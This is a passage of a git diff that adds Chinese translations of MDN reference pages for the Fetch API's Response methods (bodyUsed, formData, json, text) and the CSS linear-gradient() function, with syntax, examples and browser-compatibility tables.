class="brush: js">var myImage = document.querySelector('.my-image'); +fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg').then(function(response) { + console.log(response.bodyUsed); + var res = response.blob(); + console.log(response.bodyUsed); + return res; +}).then(function(response) { + var objectURL = URL.createObjectURL(response); + myImage.src = objectURL; +});</pre> + +<p>{{ EmbedLiveSample('Example', '100%', '250px') }}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-bodyused','bodyUsed')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(42) }} [1]<br> + </td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop(39)}} [2]</td> + <td>{{ CompatNo }}</td> + <td> + <p>29 [3]</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Behind a preference in version 41.</p> + +<p>[2] Behind a preference starting with version 34.</p> + +<p>[3] Behind a preference in version 28.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/formdata/index.html b/files/zh-cn/web/api/response/formdata/index.html new file mode 100644 index 0000000000..26b61274fe --- /dev/null +++ b/files/zh-cn/web/api/response/formdata/index.html @@ -0,0 +1,132 @@ +--- +title: Response.formData() +slug: Web/API/Response/formData +translation_of: Web/API/Response/formData +tags: + - API + - Fetch + - Fetch API + - FormData + - Method + - NeedsExample + - Reference + - Response +browser-compat: api.Response.formData +--- +<div>{{APIRef("Fetch")}}</div> + +<p> {{domxref("Response")}} 对象中的<strong><code>formData()</code></strong> 方法将 {{domxref("Response")}} 对象中的所承载的数据流读取并封装成为一个对象,该方法将返回一个 <strong><code>Promise</code></strong> 对象,该对象将产生一个{{domxref("FormData")}} 对象。</p> + +<div class="note"> +<p><strong>注意</strong>: 该方法主要与 <a href="/en-US/docs/Web/API/ServiceWorker_API">service workers</a> 有关. 如果客户端提交的一个表单请求被Service Worker 所截取,您可以像下述的样例一样,调用 <code>formData()</code> 方法来获取一个key-value 字典, 对该字典可以进行修饰, 然后将修饰后的表填提交给远端服务器 (或在本地应用)。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">response.formData() +.then(function(formdata) { + // do something with your formdata +});</pre> + +<h3 id="参数">参数</h3> + +<p>无。</p> + +<h3 id="返回值">返回值</h3> + +<p>生成 {{domxref("FormData")}}对象的{{domxref("Promise")}} 对象.</p> + +<h2 id="样例">样例</h2> + +<p>待定.</p> + +<h2 id="详述">详述</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-formdata','formData()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{CompatChrome(60)}}</p> + </td> + <td>{{ CompatGeckoDesktop(39)}} [1]</td> + <td>{{ CompatNo }}</td> + <td> + <p>{{CompatOpera(47)}}</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{CompatChrome(60)}}</p> + </td> + <td> + <p>{{CompatChrome(60)}}</p> + </td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td> + <p>{{CompatOperaMobile(47)}}</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Behind a preference starting with version 34.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/json/index.html b/files/zh-cn/web/api/response/json/index.html new file mode 100644 index 0000000000..360c349054 --- /dev/null +++ b/files/zh-cn/web/api/response/json/index.html @@ -0,0 +1,91 @@ +--- +title: Response.json() +slug: Web/API/Response/json +translation_of: Web/API/Response/json +tags: + - API + - Fetch + - JSON + - Method + - Reference + - Response +browser-compat: api.Response.json +--- +<div>{{APIRef("Fetch")}}</div> + +<div>{{domxref("Response")}} mixin 的 <strong><code>json()</code></strong> 方法接收一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个 Promise,Promise 的解析 resolve 结果是将文本体解析为 {{jsxref("JSON")}}。</div> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">response.json().then(data => { + // do something with your data +});</pre> + +<h3 id="参数">参数</h3> + +<p>没有。</p> + +<h3 id="返回值">返回值</h3> + +<p>返回一个被解析为<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/JSON" title="此页面仍未被本地化, 期待您的翻译!"><code>JSON</code></a>格式的promise对象,这可以是任何可以由JSON表示的东西 - 一个object,一个array,一个string,一个number...</p> + +<h2 id="示例">示例</h2> + +<p>在我们的 <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json 示例</a> 中(运行 <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), 我们使用 {{domxref("Request.Request")}} 构造函数创建一个新的请求, 然后使用它来获取一个 <code>.json</code> 文件。当获取成功时,我们使用 <code>json()</code> 读取并解析数据,然后像预期的那样从结果对象中读取值,并将其插入到列表项中以显示我们的产品数据。</p> + +<pre class="brush: js highlight[5]">const myList = document.querySelector('ul'); +const myRequest = new Request('products.json'); + +fetch(myRequest) + .then(response => response.json()) + .then(data => { + for (const product of data.products) { + let listItem = document.createElement('li'); + listItem.appendChild( + document.createElement('strong') + ).textContent = product.Name; + listItem.append( + ` can be found in ${ + product.Location + }. Cost: ` + ); + listItem.appendChild( + document.createElement('strong') + ).textContent = `£${product.Price}`; + myList.appendChild(listItem); + } + });</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fetch", "#dom-body-json", "Response.json()")}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Response.json")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/text/index.html b/files/zh-cn/web/api/response/text/index.html new file mode 100644 index 0000000000..a56418518f --- /dev/null +++ b/files/zh-cn/web/api/response/text/index.html @@ -0,0 +1,88 @@ +--- +title: Response.text() +slug: Web/API/Response/text +translation_of: Web/API/Response/text +tags: + - API + - Fetch + - Method + - Reference + - Text + - Response +browser-compat: api.Response.text +--- +<div>{{APIRef("Fetch")}}</div> + +<p>{{domxref("Response")}} mixin 的 <strong><code>text()</code></strong> 方法提供了一个可供读取的“返回流”({{domxref("Response")}} stream),并将它读取完。它返回一个包含 {{domxref("USVString")}} 对象(也就是文本)的 Promise 对象,返回结果的编码<em>永远是</em> UTF-8。</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">response.text().then(function (text) { + // do something with the text response +});</pre> + +<h3 id="参数">参数</h3> + +<p>无。</p> + +<h3 id="返回值">返回值</h3> + +<p>A promise that resolves with a {{domxref("USVString")}}.</p> + +<h2 id="示例">示例</h2> + +<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-text">fetch text example</a> (运行 <a href="http://mdn.github.io/fetch-examples/fetch-text/">fetch text live</a>)的案例中, 我们有一个 {{htmlelement("article")}} 元素和三个链接(储存在 <code>myLinks </code> 数组中),首先,遍历 <code>myLinks </code> 数组,并且给数组中的所有元素添加 <code>onclick</code> 事件监听器,当按钮被点击的时候,链接的 <code>data-page</code> 标识作为会参数传入 <code>getData()</code> 中。</p> + +<p>当进入 <code>getData()</code> 函数, 我们使用 {{domxref("Request.Request","Request()")}} 构造函数创建了一个请求(Request)对象,然后,使用它获取指定的<code>.txt</code>的文件, 当fetch 函数执行成功, 我们使用 <code>text()</code> 函数来返回一个{{jsxref("USVString")}} (text) 对象,将它设置到 {{htmlelement("article")}} 对象的{{domxref("Element.innerHTML","innerHTML")}} (元素文本)中。</p> + +<pre class="brush: js">const myArticle = document.querySelector('article'); +const myLinks = document.querySelectorAll('ul a'); + +for(i = 0; i <= myLinks.length-1; i++) { + myLinks[i].onclick = function(e) { + e.preventDefault(); + var linkData = e.target.getAttribute('data-page'); + getData(linkData); + } +}; + +function getData(pageId) { + console.log(pageId); + const myRequest = new Request(pageId + '.txt'); + fetch(myRequest).then(function(response) { + return response.text().then(function(text) { + myArticle.innerHTML = text; + }); + }); +}</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-text','text()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Response.text")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/css/gradient/linear-gradient()/index.html b/files/zh-cn/web/css/gradient/linear-gradient()/index.html new file mode 100644 index 0000000000..c8c25b68e2 --- /dev/null +++ b/files/zh-cn/web/css/gradient/linear-gradient()/index.html @@ -0,0 +1,446 @@ +--- +title: linear-gradient() +slug: Web/CSS/gradient/linear-gradient() +translation_of: Web/CSS/gradient/linear-gradient() +tags: + - CSS + - CSS Function + - CSS Images + - Function + - Graphics + - Layout + - Reference + - Web + - gradient +browser-compat: css.types.image.gradient.linear-gradient + +--- +<p>{{CSSRef}}</p> + +<p>CSS <strong><code>linear-gradient()</code></strong> 函数用于创建一个表示两种或多种颜色线性渐变的图片。其结果属于{{cssxref("<gradient>")}}数据类型,是一种特别的{{cssxref("<image>")}}数据类型。</p> + +<pre class="notranslate"><code>/* 渐变轴为45度,从蓝色渐变到红色 */ +linear-gradient(45deg, blue, red); + +/* </code>从右下到左上、从蓝色渐变到红色<code> */ +linear-gradient(to left top, blue, red); + +/* </code>从下到上,从蓝色开始渐变、到高度40%位置是绿色渐变开始、最后以红色结束<code> */ +linear-gradient(0deg, blue, green 40%, red);</code></pre> + +<div>{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}} </div> + +<p>如同其他gradient函数一般,<strong><code>linear-gradient()</code></strong> 函数<a href="/zh-CN/docs/Web/CSS/image#no_intrinsic">没有内在尺寸</a>;即,它不具备固有的或首选的尺寸,也不具备首选的比率。该函数的具体尺寸将与其适用的元素尺寸匹配。</p> + +<div class="note"><strong>提示:</strong>利用{{cssxref("repeating-linear-gradient")}}函数可以实现线形重复渐变效果。</div> + +<div class="note"><strong>提示:</strong>由于<code><gradient></code>数据类型系<code><image></code>的子数据类型,<code><gradient></code>只能被用于<code><image></code>可以使用的地方。因此,<code>linear-gradient()</code> 并不适用于{{Cssxref("background-color")}}以及类似的使用 {{cssxref("<color>")}}数据类型的属性中。</div> + +<h2 id="线形渐变的构成"><strong>线形渐变的构成</strong></h2> + +<p>线性渐变由一个轴 (梯度线) 定义,其上的每个点具有两种或多种的颜色,且轴上的每个点都具有独立的颜色。为了构建出平滑的渐变,<code>linear-gradient()</code> 函数构建一系列垂直于渐变线的着色线,每一条着色线的颜色则取决于与之垂直相交的渐变线上的色点</p> + +<p><img alt="linear-gradient.png" src="/files/3537/linear-gradient.png" style="float: left; height: 383px; width: 309px;">渐变线由包含渐变图形的容器的中心点和一个角度来定义的。渐变线上的颜色值是由不同的点来定义,包括起始点,终点,以及两者之间的可选的中间点(中间点可以有多个)。</p> + +<p>起始点是渐变线上代表起始颜色值的点。起始点由渐变线和过容器顶点的垂直线之间的交叉点来定义。(垂直线跟渐变线在同一象限内)</p> + +<p>同样的,终点是渐变线上代表最终颜色值的点。终点也是由渐变线和从最近的顶点发出的垂直线之间的交叉点定义的,然而从起始点的对称点来定义终点是更容易理解的一种方式,因为终点是起点关于容器的中心点的反射点。</p> + +<p>关于起点和终点的稍微有些复杂的定义导致了一个有趣的性质,有时候被叫做不可思议的顶点效应:起点附近的点具有跟起点相同的颜色值,终点附近的点具有跟终点相同的颜色值。</p> + +<p>不仅仅只有起点和终点的颜色值可以指定。通过提供额外的颜色中间点,Web开发者可以构建在起始颜色值和终点颜色值之间的自定义更强的过渡效果,另外还可以提供多种颜色值的渐变线。</p> + +<p>当颜色中间点的位置被隐式定义,它被放置在位于它之前的点和位于它之后的点之间的中间位置处。利用{{cssxref("<length>")}}或者{{cssxref("<percentage>")}}数据类型可以显示定义一个位置。</p> + +<pre class="notranslate"><code>linear-gradient(red, orange, yellow, green, blue); +linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);</code>看看 +</pre> + +<p>默认情况下,从一个颜色的终止点平滑的过渡到另一个颜色的终止点,颜色之间的中点是两个颜色颜色转换的中点。你可以将中点移动到这两个颜色之间的任意位置,方法是在两个颜色之间添加未标记的 %,以指示颜色的中转位置。下面的示例是从起始点到10%的位置标记红色,从90%到结束标记蓝色。在10%到90%之间,颜色从红色过渡到蓝色,然而过渡的中点是在30%的标记上,而不是在没有30%中转点的情况下会默认为50%。</p> + +<pre class="notranslate"><code>linear-gradient(red 10%, 30%, blue 90%);</code></pre> + +<p>如果两个或多个颜色终止在同一位置,则在该位置声明的第一个颜色和最后一个颜色之间的过渡将是一条生硬线。</p> + +<p>颜色终止列表中颜色的终止点应该是依次递增的。如果后面的颜色终止点小于前面颜色的终止点则后面的会被覆盖,从而创建一个硬转换。下面的变化是从红色到黄色在40%的位置,然后过渡从黄色到蓝色终止于65%的位置处。</p> + +<pre class="notranslate"><code>linear-gradient(red 40%, yellow 30%, blue 65%);</code></pre> + +<p>允许颜色多个颜色终止位置。通过在CSS声明中包含两个位置,可以将一个颜色声明为两个相邻的颜色终止。以下三个梯度是相等的:</p> + +<pre class="notranslate"><code>linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%); +linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%); +linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);</code></pre> + +<p>默认情况下,如果不带0%终止的颜色,则在该点声明的第一个颜色。类似地,最后一种颜色将持续到100%标记,或者如果在最后一个没有声明长度,则在100%标记处。</p> + +<h2 id="语法">语法</h2> + +<h3 id="值">值</h3> + +<dl> + <dt><code><side-or-corner></code></dt> + <dd>描述渐变线的起始点位置。它包含to和两个关键词:第一个指出水平位置left or right,第二个指出垂直位置top or bottom。关键词的先后顺序无影响,且都是可选的。<br> + to top, to bottom, to left 和 to right这些值会被转换成角度0度、180度、270度和90度。其余值会被转换为一个以向顶部中央方向为起点顺时针旋转的角度。渐变线的结束点与其起点中心对称。</dd> + <dt><code><angle></code></dt> + <dd>用角度值指定渐变的方向(或角度)。角度顺时针增加。 </dd> + <dt><code><linear-color-stop></code></dt> + <dd>由一个{{cssxref("<color>")}}值组成,并且跟随着一个可选的终点位置(可以是一个百分比值或者是沿着渐变轴的{{cssxref("<length>")}})。CSS渐变的颜色渲染采取了与SVG相同的规则。</dd> +</dl> + +<dl> + <dt><code><color-hint></code></dt> +</dl> + +<p>颜色中转点是一个插值提示,它定义了在相邻颜色之间渐变如何进行。长度定义了在两种颜色之间的哪个点停止渐变颜色应该达到颜色过渡的中点。如果省略,颜色转换的中点是两个颜色停止之间的中点。 </p> + +<dl> + <dt> + <div class="note"><strong>提示:</strong>渲染颜色中间点的规则 <a href="#Gradient_with_multiple_color_stops">color stops in CSS gradients</a>与一致 <a href="/en-US/docs/Web/SVG/Tutorial/Gradients">SVG gradients</a>。</div> + + <h3 id="正式语法">正式语法</h3> + + <pre class="notranslate">linear-gradient( + [ <a href="https://wiki.developer.mozilla.org/en-US/CSS/angle"><angle></a> | to <side-or-corner> ,]? <color-stop-list> ) + \---------------------------------/ \----------------------------/ + Definition of the gradient line List of color stops + +where <side-or-corner> = [ left | right ] || [ top | bottom ] + and <color-stop-list> = [ <linear-color-stop> [, <color-hint>? ]? ]#, <linear-color-stop> + and <linear-color-stop> = <color> [ <color-stop-length> ]? + and <color-stop-length> = [ <percentage> | <length> ]{1,2} + and <color-hint> = [ <percentage> | <length> ] +</pre> + </dt> +</dl> + +<h3 id="语法历史">语法历史</h3> + +<p><code>linear-gradient的语法</code>由2008年实施的<a class="external" href="http://www.webkit.org/blog/175/introducing-css-gradients/" title="http://www.webkit.org/blog/175/introducing-css-gradients/">first Apple proposal</a>发展而来。</p> + +<pre class="notranslate"><code>-webkit-gradient(<type>, <point> [, <radius>]?, <point> [, <radius>]? [, <stop>]*)</code> +</pre> + +<p>在最初语法中,使用同样的语法实现线性渐变和径向渐变。但这两种渐变所需要的参数有所不同,导致了需要增加第一个参数来区分两种渐变。如果再增加渐变类型,这样的处理方式会变得更加复杂。比如锥形渐变,需要用到函数和不规范的CSS值。W3C并未收到相关草案。</p> + +<p>一个替代语法在2009年由Mozilla提出并实现。这个语法需要两个CSS函数,一个用来做线性渐变,另一个用于径向渐变。然而,这个语法并没有被发布产品实现。有人提出了第三种语法,它将线性渐变的语法简化为:</p> + +<pre class="notranslate">-moz-linear-gradient(<code>[ [ [top | bottom] || [left | right] ],]? <color-stop>[, <color-stop>]+);</code> +</pre> + +<p>新的语法不需要<code>to()、</code><code>from()<font face="Open Sans, Arial, sans-serif">和</font></code><code>color-stop()函数,所以这些函数被丢弃。而</code><code>top</code>/<code>bottom</code>与<code>left</code>/<code>right的顺序也被标记为不重要,所以</code>Mozilla移除了必需首先定义<code>top</code>/<code>bottom</code>的限制。</p> + +<p>新的语法仍然有一个缺点:它只允许水平和垂直渐变。在多次变更解决了方向限制的问题之后,它被增加到<a href="http://www.w3.org/TR/2011/WD-css3-images-20110217/#ltlinear-gradient">CSS Images Values and Content Replacement Level 3 draft in 2011-02-17</a>。</p> + +<ul> + <li>原生支持{{ cssxref("<angle>") }}允许任何方向的渐变</li> + <li>定义magic corner算法,允许使用简便的方式定义端点的颜色,从而简化了开发者的工作</li> +</ul> + +<p>在预乘颜色空间里定义过渡色,从而可以防止在使用不同透明度颜色的情况下出现违和的灰色。在未舍弃原生语法的情况下,带前缀的版本被Webkit和Trident(IE)实现。</p> + +<pre class="notranslate">linear-gradient(<code> [ </code>[ {{cssxref("<angle>")}} | <code>[top | bottom] || [left | right] ],]? <color-stop>[, <color-stop>]+);</code> +</pre> + +<p>{{ cssxref("<angle>") }}属性的添加导致了一些混乱,它应当指向终点方向,但是这些关键字却通常指起始方向。在<a href="http://lists.w3.org/Archives/Public/www-style/2011Jun/0377.html">related W3C CSSWG thread</a>可以查看一些讨论。在一项新的语法中,这个问题被修正。它仍然使用方向关键字,但是在关键字之前增加关键字 <code>to</code> 。这项语法被添加到<a href="http://www.w3.org/TR/2011/WD-css3-images-20110908/#ltlinear-gradient">CSS Images Values and Content Replacement Level 3 draft in 2011-09-08</a>。</p> + +<pre class="notranslate">linear-gradient(<code>[ [ </code>[ {{cssxref("<angle>")}} | to <code>[top | bottom] || [left | right] ],]? <color-stop>[, <color-stop>]+);</code> +</pre> + +<p>以上应当是最终语法。</p> + +<p>在带前缀的变体和不带前缀的提案之间仍然存在一项语义的分歧。最终Apple的提案显示,带前缀的语法都使用极坐标定义{{ cssxref("<angle>") }}参数,导致了<code>0deg指向东方。为了与CSS的其他部分保持一致,标准将0deg指向北方。为了防止使用前缀版本属性的站点不至于崩溃,它们保持原始的角度定义(0deg指向东方)。在使用不带前缀版本的时候将会切换到正确的规格。在这种不兼容的情况下,</code>Gecko给所有语法都加上前缀,不带前缀且没有to关键词的语法会被丢弃。</p> + +<h2 id="范例">范例</h2> + +<h3 id="例_45度渐变">例 45度渐变</h3> + +<p>可以为渐变轴某个位置指定某个颜色,这些位置可被称为“颜色中间点(color-stops)”。颜色会从一个颜色中间点平滑过渡到下一个。在渐变范围内,每个颜色都表现为一条垂直于渐变轴的直线。在下图中,渐变轴从左上角出发并且呈45度。渐变轴上定义了红色和蓝色两个颜色中间点。</p> + +<pre class="brush: html notranslate"><code><div style="width: 200px; height: 200px;"></div></code></pre> + +<pre class="brush: css notranslate"><code>div { + background: linear-gradient(45deg, red, blue); +}</code></pre> + +<p>{{EmbedLiveSample("45度渐变",120,120)}}</p> + +<h3 id="从60%的梯度线开始的渐变">从60%的梯度线开始的渐变</h3> + +<p>有时候我们不希望一开始就出现渐变,可以从中间某个地方开始最好。为了实现这个效果,可以在你希望渐变梯度开始的地方,加上一个同样色值的颜色中间点。</p> + +<pre class="brush: html notranslate"><code><div style="width: 200px; height: 200px;"></div></code></pre> + +<pre class="brush: css notranslate"><code>div { + background: linear-gradient(135deg, red, red 60%, blue); +}</code></pre> + +<h4 id="Result">Result:</h4> + +<p>{{EmbedLiveSample("从60%的梯度线开始的渐变")}}</p> + +<h3 id="具有多个颜色停止的渐变">具有多个颜色停止的渐变</h3> + +<p>如果第一个颜色中间点没有 <code><length></code> 或 <code><percentage></code>属性,那么它默认为0%。如果最后一个颜色中间点没有 <code><length></code> 或者 <code><percentage></code>属性, 则默认为100%。如果一个既不是起始也不是终止的颜色中间点,没有被明确声明位置,那么这个颜色就会从前后两个颜色的中间位置开始。</p> + +<p>颜色中间点必须按照顺序声明。给起始和终止的颜色中间值赋值后,如果一个颜色中间点的位置比任何一个颜色中间点的位置都要小,那它的位置会按照离它最近的一个颜色中间点来计算。</p> + +<pre class="brush: html notranslate"><code><div>A rainbow made from a gradient</div></code></pre> + +<pre class="brush: css notranslate"><code>div { + background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); +}</code></pre> + +<h4 id="Result_2">Result:</h4> + +<p>{{EmbedLiveSample("具有多个颜色停止的渐变")}}</p> + +<h3 id="包含多个颜色中间点的渐变">包含多个颜色中间点的渐变</h3> + +<p>如果第一个颜色中间点没有<font face="Consolas, Liberation Mono, Courier, monospace">定义长度或百分比,</font>它将包含缺省值<font face="Consolas, Liberation Mono, Courier, monospace">0</font>。如果最后一个颜色中间点没有定义长度或百分比,它将包含缺省值100%。如果中间的颜色中间点没定义长度或百分比,那么它将被设定为前后两站的平均值。</p> + +<p>颜色中间点必须被按顺序定义。第一个和最后一个被分配为默认值之后,如果一个颜色中间点的位置比前一个小,那么将会被设定成与前一个相同的值。</p> + +<div>使用渐变制作彩虹</div> + +<pre class="brush: css notranslate">background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); +</pre> + +<h3 id="线性重复渐变">线性重复渐变</h3> + +<p>线性渐变目前不能实现重复渐变。默认情况下,渐变会撑满它被定义的元素。这项功能可以参考{{ Cssxref("repeating-linear-gradient") }}。</p> + +<h3 id="使用透明度">使用透明度</h3> + +<pre class="brush: html notranslate"><code><div></code>线性与透明度<code></div></code></pre> + +<pre class="brush: css notranslate"><code>div { + background: linear-gradient(to bottom right, red, rgba(0,0,0,0)); +}</code></pre> + +<h4 id="Result_3">Result:</h4> + +<p>{{EmbedLiveSample("使用透明度")}}</p> + +<p>如果所有点和长度都使用固定单位(而不是相对于background-size的值指定的百分比或关键字),则渐变背景不受 {{Cssxref("background-size")}} 的影响。</p> + +<h3 id="跨浏览器实施渐变">跨浏览器实施渐变</h3> + +<p>这里包含了所有前缀的渐变设置。</p> + +<pre class="brush: css notranslate">.grad { + background-color: #F07575; /* 不支持渐变的浏览器回退方案 */ + background-image: -webkit-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* 支持 Chrome 25 and Safari 6, iOS 6.1, Android 4.3 */ + background-image: -moz-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* 支持 Firefox (3.6 to 15) */ + background-image: -o-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* 支持旧 Opera (11.1 to 12.0) */ + background-image: linear-gradient(to bottom, hsl(0, 80%, 70%), #bada55); /* 标准语法; 需要最新版本 */ +} +</pre> + +<p>-moz-前缀的规则用于兼容Fx 3.6 to Fx 15的火狐浏览器。 -webkit-前缀的规则用于兼容在Android 4.3以前版本、iOS 6.1以前版本、Safari 6。当使用带前缀的规则时,不要加“to”关键字。</p> + +<div class="note"> +<p>Notes:如果将<body>标签的background-image属性设置为线性渐变<code>linear-gradient</code>,除非您还设置文档根标签(例如<html>标签)的<a href="/zh-CN/docs/Web/CSS/min-height">min-height</a>属性,否则渐变不会填充浏览器屏幕到100%。</p> +</div> + +<h2 id="规范">规范</h2> + +<table> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}</td> + <td>{{Spec2('CSS3 Images')}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}</td> + <td>{{Spec2('CSS4 Images')}}</td> + <td>Add Interpolation hints</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera (Presto)</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> + <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br> + {{CompatGeckoDesktop("16")}}<sup>[2]</sup></td> + <td>10.0 (534.16){{property_prefix("-webkit")}}<sup>[6]</sup></td> + <td>10.0<sup>[4]</sup></td> + <td>11.10{{property_prefix("-o")}}<sup>[1]</sup></td> + <td>5.1{{property_prefix("-webkit")}}<sup>[6]</sup></td> + </tr> + <tr> + <td>On {{cssxref("border-radius")}}</td> + <td>{{CompatGeckoDesktop("29")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>On any other property that accepts {{cssxref("<image>")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Legacy webkit syntax{{non-standard_inline}}</td> + <td>{{CompatNo}}</td> + <td>3{{property_prefix("-webkit")}}<sup>[3]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>4.0{{property_prefix("-webkit")}}<sup>[3]</sup></td> + </tr> + <tr> + <td>Legacy 'from' syntax (without <code>to</code>){{non-standard_inline}}</td> + <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[5]</sup></td> + <td>10.0 (534.16){{property_prefix("-webkit")}}<sup>[3]</sup></td> + 